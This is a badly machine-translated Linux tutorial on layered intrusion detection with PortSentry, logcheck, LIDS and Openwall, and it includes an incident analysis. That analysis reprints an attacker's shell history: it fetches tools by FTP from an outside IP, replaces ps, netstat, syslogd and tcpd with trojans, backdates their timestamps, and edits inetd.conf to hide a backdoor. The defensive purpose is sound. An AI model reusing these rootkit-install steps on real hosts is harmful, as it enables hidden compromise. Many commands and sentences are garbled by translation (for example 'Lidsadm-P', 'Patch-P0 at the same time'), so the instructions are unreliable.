Linux intrusion check

 

Linux intrusion Monitoring System

From: http://www.1717happy.com /? Action = show & id = 103

This article focuses on several host-based Intrusion Detection Systems for Linux. In particular, we will cover some elements of how to install these software packages, their usefulness, and when they can be used.

System Security

This article will show you some basic system security knowledge. In particular, I suppose many common security measures have been used to resist the intrusion from the Internet to hosts. These security measures are as follows:

The firewall determines which TCP or UDP ports the system users from the Internet have access permissions. For example, through some simple web server firewall rule settings, we can determine that this machine is only open to users through port 80, which is used to provide HTTP Services.

The system does not need useless daemon. For example, a Web server generally only needs a running process to serve the web page. Processes are not associated with services and web pages, such as rpc/Portmap service, NFS service, X Font Service, and DNS domain name service, other external or useless applications should be turned off or disabled. In the Red Hat Linux system, we usually use a running level editor for relevant settings, for example, you can use ntsysv or tksysv to disable the undesired daemon.

You can edit and modify/etc/inetd. conf to shield unnecessary ports. As a typical default value, when we install a new Linux system, many ports are opened by default in/etc/inetd. conf. All systems should delete or comment out some lines by editing/etc/inetd. conf to disable unused ports. This is the most basic system security behavior.

Lines of defense ):

I. Multi-layer system security

In this section, we will discuss the system security of a multi-tier channel. When some of the security layers are damaged, many security layers can independently apply to provide some additional defense. Construct a multi-layer system security model.

Each layer in the chart provides additional data protection for the previous layer. For example, the first layer is the firewall. If the firewall does not block external intrusion attempts, the second layer-port daemon will provide additional protection. Further, the security system is the lids and logcheck programs, which are also protected when intrusion attempts are not intercepted by Layer 2.

Monitor current connection

The first protection layer after the firewall is a software package used to monitor the connection attempts between the current host and the host. The port daemon package (http://www.psionic.com/abacus/portsentry/) provides some simple and useful ways to do this.

Role of the PortSentry Program

The main function of the port daemon monitors the activity of some special TCP/IP ports. PortSentry monitors and reports port activity, one of which may be selected, including rejecting further connection attempts. This is a very important protection measure, because hackers usually use some tools to detect system vulnerabilities and vulnerabilities before they intrude into a system. When detecting a detector or port scan, you can thoroughly cut off some potential hacker connection attempts and stop some further port scans with intrusion intentions.

Install PortSentry

For red hat users, the RPM package on the Red Hat FTP server contains this program. This site has its images all over the world. You can find the site closest to you on www.redhat.com. I am not sure about the program such as PortSentry in the software package in. Deb format, but I can make sure there is such software. For other Linux users, installing the software using the original code is quite simple.

Recommended Configuration

PortSentry has many running modes, including different UDP and TCP private running modes. The Running Mechanism I selected is to bind PortSentry to TCP ports that are not used or that have potential intrusion. For example, I will continuously scan these ports on my web server 24 hours a day, port 143 (imap2), port 111 (Portmap) and port 23 (Telnet) all are TCP ports not used on my Internet system. You can run the following command:

PortSentry-TCP

Set PortSentry to the basic TCP running mode when your system starts. Make sure that the PortSentry configuration file PortSentry. conf contains the tcp_ports configuration line to scan the port to be scanned.

Response Options

You can use the "response options" section in PortSentry. conf to explain in detail what kind of response is that PortSentry noticed some unexpected connections. Generally, I will use ipchains to interrupt further connections from the source of the connection. This can also be configured through the following line in PortSentry. conf:

Kill_route = "/sbin/ipchains-I input-S $ target $-J deny-l"

When receiving a scan from a high port, you can delete the-L option in the preceding row to block these further connections, which can effectively maintain the system log space.

Monitor System Logs

Software such as firewall systems and PortSentry can effectively monitor or shield unexpected connections on some ports. This prevents the most typical "Scan-intrusion" attack method.

When the system needs to run special services (such as Apache Web server or a DNS Service), some hackers have cracked some attack points in the service, these programs will be unlucky not to keep all intruders away. Bind a DNS server that runs a program that is vulnerable to attacks. These ports will eventually be scanned by some hackers by a specific port of a wide range of machines, and tries to intrude into the system through this port. Unfortunately, the firewall or PortSentry program treats these intrusion attempts as normal and reasonable connections.

System Log check)

Logcheck is the software (http://www.psionic.com/abacus/logcheck/) used to scan system log files ). Logcheck scans System Log Files (in Linux, system log files are under the/var/log/directory). In addition, when the system encounters some exceptions, logcheck sends an email to the Administrator. Abnormal messages in system log files usually indicate that some hackers are attempting to intrude into the system or are intruding into the system.

Install logcheck

Logcheck has four main configuration files. In the rpm version, these configuration files are under the/etc/logcheck directory. Generally, we only need to configure the logcheck. Ignore and logcheck. Violations. Ignore files. After installing logcheck, the program is generally as follows:

Allow logcheck to run once in normal running mode. This will produce a huge output file, but we can delete this file.

After 24 hours, let logcheck run again. This time we will find some new things at the entrance of the log file, and it is also a large file that can still be computed. Read this document carefully.

There are some specific strings at the entrance of the file that we don't need to care about. If these strings are "insecure" fragments, we can add these string fragments to logcheck. violations. in the ignore file; or when they are "abnormal system events", we add these strings to logcheck. ignore.

Every 12 to 12 weeks ~ Repeat these steps within 24 hours. In this phase, we repeatedly set the filtering rules for the. Ignore file, and the last thing we do is what our system really cares about.

Note that the RPM file specifies that logcheck runs once every hour, but I only need to run once every day, unless it is in a specific system to be monitored. In this way, you can copy the/etc/cron. Hourly/logcheck file to/etc/cron once a day.

Kernel-based Intrusion Detection

Kernel-based intrusion detection is a new and clever Linux intrusion detection system. Now the main kernel-based intrusion detection system is called lids, and can be downloaded from http://www.lids.org.

What is lids?

Lids is a Linux kernel-based intrusion detection and prevention system.

The purpose of lids protection is to prevent Super User Root from tampering with an important part of the system. The main feature of lids is to improve system security, prevent direct port connections or memory connections, prevent the use of the original disk, and protect system log files. Lids will also stop some specific system operations, such as installing sniffer and modifying firewall configuration files.

Lids document Engineering

Lids is a little more complicated than installing PortSentry and logcheck, but fortunately, there is a detailed installation and configuration manual on the lids homepage.

Install lids

First, before installation, we need most of the latest lids software packages (I am using 0.9) and appropriate kernel versions. I am using the 2.2.14-12 kernel downloaded from the Red Hat homepage because it contains some security patches. At the same time, you also need some source code of the kernel you are using.

Currently, lids is mainly applicable to kernels of version 2.2.14. I installed lids on Red Hat Linux 6.2 in the 2.2.14 kernel. Before installing lids, I downloaded the latest kernel version at ftp.redhat.com and installed the kernel according to http: // www.redhat.com/support/docs/howto/kernel-upgrade/kernel-upgrade.html.

The next thing is to upgrade the kernel source code. Here we do this:

Rpm-UHV kernel-source-2.2.14-12.i386.rpm

Then compile and install the lidsadm program:

CD/usr/local/src/security/lids-0.9/lidsadm-0.9

Make

Make install

Generate a RipeMD-160 password which will be installed into the kernel later:

Lidsadm-P

Enter the password "anypass" to obtain the key "d502d92bfead11d1ef17887c9db07a78108859e8 ". Next, I copied the RedHat configuration file to my structure, under the/usr/src/Linux directory:

CD/usr/src/Linux/configs/

CP kernel-2.2.12-i686.config ..

Run the following command to install lids:

CD/usr/src

Patch-P0 at the same time, we should note that there are some minor differences between the kernel provided by red hat and the standard 2.2.14 kernel released by Linus, because it contains some modified drivers. Similarly, the lids-0.9-2.2.14-RedHat. patch file is slightly different from the standard lids-0.9-2.2.14.patch released by lids, but the latter may not be particularly suited to the Red Hat system.

Finally, configure, compile, and install the kernel:

CD/usr/src/Linux

Make menuconfig

Make Dep; make clean

Make

Install; Make modules; Make modules_install

The following script shows the lids configuration options that I set during kernel Configuration:

[*] Linux Intrusion Detection System Support (experimental)

--- Lids features

[] Hang up console when raising a Securit alert

[*] Security alert when execing unprotected programs before sealing

[] Do not execute unprotected programs before sealing lids

[*] Enable init children lock feature

[*] Try not to flood logs

(60) authorised time between two identic logs (seconds)

[*] Allow switching lids Protections

The RipeMD-160 encrypted password: d502d92bfead11d1ef17887c9db07a78108859e8

(3) number of attempts to submit Password

(3) Time to wait after a fail (seconds)

[*] Allow remote users to switch lids Protections

[] Allow any program to switch lids Protections

[*] Allow reloading config. File

[] Hide some known processes

[*] Port used detector in Kernel

[] Send security alerts through network

--- Special authorizations

[] Allow some known processes to access/dev/MEM (xfree, etc .)

[] Allow some known processes to access raw disk devices

[] Allow some known processes to access Io ports

[] Allow some known processes to Change routes

--- Special UPS

[*] Allow some known processes to unmount Devices

Allowed processes: "/etc/rc. d/init. d/halt;/etc/rc. d/init. d/netfs"

[*] Unmounting capability is inherited

[*] Allow some known processes to kill init children

Allowed processes: "/etc/rc. d/init. d/halt"

[*] Killing capability is inherited

It can be seen that I didn't use UPS, and I was running a server that needed remote access. I configured it according to the above file, but in the actual application process, each person's system varies depending on the environment.

Configure lids:

Note that you should configure lids before the next restart of your system! We should use consumer Sam to configure the lids configuration file/etc/lids. conf, instead of manual modification. Run "lidsadm-h" to get some help on how to use lidsadm. Lids provides many examples of using lids to protect files. For example:

The lidsadm-a-r/sbin command protects the entire/sbin directory and indicates read-only.

My first lids configuration file should be like this:

Lidsadm-z

Lidsadm-a-r/usr/bin

Lidsadm-a-r/bin

Lidsadm-a-r/usr/sbin

Lidsadm-a-r/sbin

Lidsadm-a-r/usr/x11r6/bin

Lidsadm-a-r/etc/rc. d

Lidsadm-a-r/etc/sysconfig

Once the lids configuration file is configured, you should modify the system startup file to ensure that the lids can be run during system startup, so that the lids can be effectively started in the kernel. Generally, I add lidsadm to the end of/etc/rc. d/rc. Local to ensure that the lids function does not affect the normal startup of other applications of the system. The following is the script I added to/etc/rc/D/rc. Local to start lids:

/Sbin/lidsadm-I ---cap_sys_module-cap_sys_rawio-cap_sys_admin

-Cap_sys_ptrace-cap_net_admin-cap_linux_immutable

+ Init_children_lock

Configure lilo

We know that we need to reconfigure Lilo. conf after upgrading the system kernel using RPMs of RedHat to ensure compilation and loading.

The new kernel after lids can be started normally. After the next restart, lids will run in the system. However, if you need to stop lids and execute some system tasks, follow the following command:

/Sbin/lidsadm-s ---lids or/sbin/lidsadm-s ---lids_global

You need to provide the lids password, which added the RipeMD-160 format to the kernel when compiling the kernel.

I wonder if you have noticed that many of the shutdown scripts cannot work normally. The final shutdown script/etc/rc. d/init. d/halt will stop all processes and uninstall the file system. Due to the protection of "+ init_children_lock" in the file RC. Local, other processes do not have the permission to kill other child processes of Init. At the same time, every 10 minutes, you will receive an error message about the "rmmod as" module cannot be uninstalled. This is mainly because the "-cap_sys_module" protection after lids is started makes the module insertion or uninstallation faulty. You can delete the/etc/cron. d/kmod file to prevent the error message from continuing.

What can lids protect?

You can quickly view lids documents to understand a series of lids features. In my opinion, the following features are the most important:

Cap_linux_immutable: when the file and the external system are identified as "immutable" to prevent writing;

Cap_net_admin prevents network configuration tampering (for example, preventing route table modification );

Cap_sys_module prevents kernel modules from being inserted or removed;

Cap_sys_rawio prevents damage to the disk or device I/O;

Cap_sys_admin prevents extensive use of other system functions;

Init_children_lock which prevents child processes of the Init () Master Pro

Cess from being tampered.

The above features can be started by running the "lidsadm-I" command at any point, disable with "lidsadm-s" (which allows true system administrators to configure the system) and provide lids passwords that are installed in the kernel (encrypted by RipeMD-160 ).Analyze an intrusion

Recently I have been busy checking some hacked machines to infer some causes of intrusion and to verify that hackers have damaged the system. Fortunately, some hackers are not very smart and have not been able to completely erase traces after they intrude into some systems. When a hacker overflows the buffer of some system daemon, the hacker can obtain the root permission. In this case, the host is intruded. (In fact, it is impossible, but those who installed Linux forgot to install the latest RedHat patch on buffer overflow and keep the system running ). Of course, some hackers are not careful enough. When they intrude into the host, they are eager to get the shell, but they often do not consider that Bash commands will be stored in system log files, simple reading /. bash_history can be used to understand how hackers work on the machine.

Something. We can look at this file (we have made some minor modifications to make it easier ):

Mkdir/usr/lib/...; CD/usr/lib /...

FTP 200.192.58.201 21

CD/usr/lib /...

MV netstat.gz? Netstat.gz; MV ps.gz? Ps.gz; MV pstree.gz? Pstree.gz;

MV pt07.gz? Pt07.gz; MV slice2.gz? Slice2.gz; MV syslogd.gz? Syslogd.gz;

MV tcpd.gz? Tcpd.gz

Gzip-D *

Chmod + x *

MV netstat/bin; mv ps/bin; MV tcpd/usr/sbin/; MV syslogd/usr/sbin;

MV pt07/usr/lib/; MV pstree/usr/bin;

/Usr/lib/pt07

Touch-T 199910122110/usr/lib/pt07

Touch-T 199910122110/usr/sbin/syslogd

Touch-T 199910122110/usr/sbin/tcpd

Touch-T 199910122110/bin/PS

Touch-T 199910122110/bin/netstat

Touch-T 199910122110/usr/bin/pstree

CAT/etc/inetd. conf | grep-V 15678>/tmp/B

MV/tmp/B/etc/inetd. conf

Killall-hup inetd

By reading this content, we can understand the following actions:

A directory (/usr/lib) with an abnormal name is created in the system, and then the hacker telnet to the host.

(200.192.58.201, a dialing user from a certain location in Brazil), and downloaded a set of hacking tools. These

The hacker tool has not been compressed, and some of the Trojan binaries in the middle have been installed into the system.

Troy covers the system's netstat, PS, tcpd, Syslogd, and pstree commands. These programs are used

To report which processes are running in the system and which ports are open.

What can we learn from it?

First, lids cannot prevent an intrusion. Hackers connect to the host to obtain the system through buffer overflow.

Root permission.

Once the system has no hacker intrusion, let's take a look at how lids minimizes the damage:

Lids uses the cap_linux_immutable option to prevent Troy from being written to/bin,/usr/bin,/U.

In the Sr/sbin and/usr/lib directories. These directories are generally identified as unchangeable (chattr + I) because

And will not be modified. We can note that even if you do not use lids, you can use the chattr + I command to identify

The directory is unchangeable, but after lids, even the root user cannot tamper with the immutable flag. Class

Similarly, if the file is identified by chattr + I, the touck-T command will also fail. Or even the first line"

The mkdir/etc/lib command will also fail, if we identify the file as unreadable.

Lids cannot prevent hacker intrusion, but it can prevent intrusions from causing great system damage. One

Backdoor programs can be installed on the system, but there is no Troy version of PS, netstat and pstree can be released very early

Now the backdoor process is running and kill it. Without lids, it is impossible for us to know that hackers are using this backdoor program.

The only thing we can do to recover is to reload the system.

Openwall and lids: Additional layers

Another system similar to lids is openwall Engineering (http://www.openwall.com/linux ). The openwall project is different from the lids project in many places. A special patch of openwall is used to make the stack zone unexecutable. The following is the statement from the README document of openwall:

Most buffer overflow attacks are based on the address of the function return value in the stack that overwrites some arbitrary program fragments. If the stack is not executable, the weakness of the buffer overflow will become very difficult to attack. Another Buffer Overflow method is to indicate the return address of a function in libc, usually system (). By modifying the MMAP () shared library, this patch makes it always a zero-byte file. In this way, it cannot specify some data and has to use the asciiz string in many attacks.

Recently, some complete lids + openwall Kernel patches have been installed on the lids network, which provides the features of both lids and openwall.Summary

In Linux, using this series of multi-layer security measures can prevent a wide range of attacks and also prevent intrusion or tampering. A hacker's intrusion port is a network interface. On the network interface and system kernel, we can prevent intrusion by others.

Aware of some potential security vulnerabilities in the system. Any daemon or service running on the system, whether it is a root user or a non-root user, can become a potential security threat. Be fully prepared to face these threats.